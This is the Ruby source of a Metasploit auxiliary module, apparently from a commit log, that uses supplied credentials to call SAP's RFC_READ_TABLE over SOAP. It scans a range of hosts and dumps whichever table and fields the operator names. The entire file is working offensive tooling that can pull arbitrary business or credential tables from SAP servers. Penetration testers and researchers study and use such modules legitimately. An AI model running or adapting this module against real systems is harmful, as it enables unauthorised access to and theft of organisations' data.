This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables.

unstable
nmonkee 2012-11-07 12:37:01 +00:00
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP RFC RFC_READ_TABLE',
'Version' => '$Revision: $0.1',
'Description' => %q{
This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables.
},
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
'Author' => [ 'Agnivesh Sathasivam', 'nmonkee' ],
'License' => BSD_LICENSE
)
register_options(
[
OptString.new('CLIENT', [true, 'Client', nil]),
OptString.new('USERNAME', [true, 'Username', nil]),
OptString.new('PASSWORD', [true, 'Password', nil]),
OptString.new('TABLE', [true, 'Table to read', nil]),
OptString.new('FIELDS', [true, 'Fields to read', '*']),
], self.class)
end
def run_host(ip)
columns = []
columns.push ('*') if datastore['FIELDS'].nil?
if datastore['FIELDS']
columns.push (datastore['FIELDS']) if datastore['FIELDS'] =~ /^\w?/
columns = datastore['FIELDS'].split(',') if datastore['FIELDS'] =~ /\w*,\w*/
end
fields = ''
columns.each do |d|
fields << "<item><FIELDNAME>" + d.gsub(/\s+/, "") + "</FIELDNAME></item>"
end
exec(ip,fields)
end
def exec(ip,fields)
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:RFC_READ_TABLE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<DELIMITER xsi:type="xsd:string">|</DELIMITER>'
data << '<NO_DATA xsi:nil="true"></NO_DATA>'
data << '<QUERY_TABLE xsi:type="xsd:string">' + datastore['TABLE'] + '</QUERY_TABLE>'
data << '<DATA xsi:nil="true"></DATA>'
data << '<FIELDS xsi:nil="true">' + fields + '</FIELDS>'
data << '<OPTIONS xsi:nil="true"></OPTIONS>'
data << '</n1:RFC_READ_TABLE>'
data << '</env:Body>'
data << '</env:Envelope>'
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request")
begin
error = ''
success = ''
res = send_request_raw({
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
'method' => 'POST',
'data' => data,
'headers' =>{
'Content-Length' => data.size.to_s,
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 45)
if (res and res.code != 500 and res.code != 200)
# to do - implement error handlers for each status code, 404, 301, etc.
if res.body =~ /<h1>Logon failed<\/h1>/
print_error("[SAP] #{ip}:#{rport} - login failed!")
else
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
end
return
elsif res.body =~ /Exception/
response = res.body
error = response.scan(%r{<faultstring>(.*?)</faultstring>})
success = false
return
else
response = res.body
success = true
end
if success == true
output = response.scan(%r{<WA>([^<]+)</WA>}).flatten
print_status("[SAP] #{ip}:#{rport} - got response")
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] RFC_READ_TABLE",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' => ["Returned Data"],
)
for i in 0..output.length-1
saptbl << [output[i]]
end
print(saptbl.to_s)
end
if success == false
for i in 0..error.length-1
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
end
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
return
end
end
end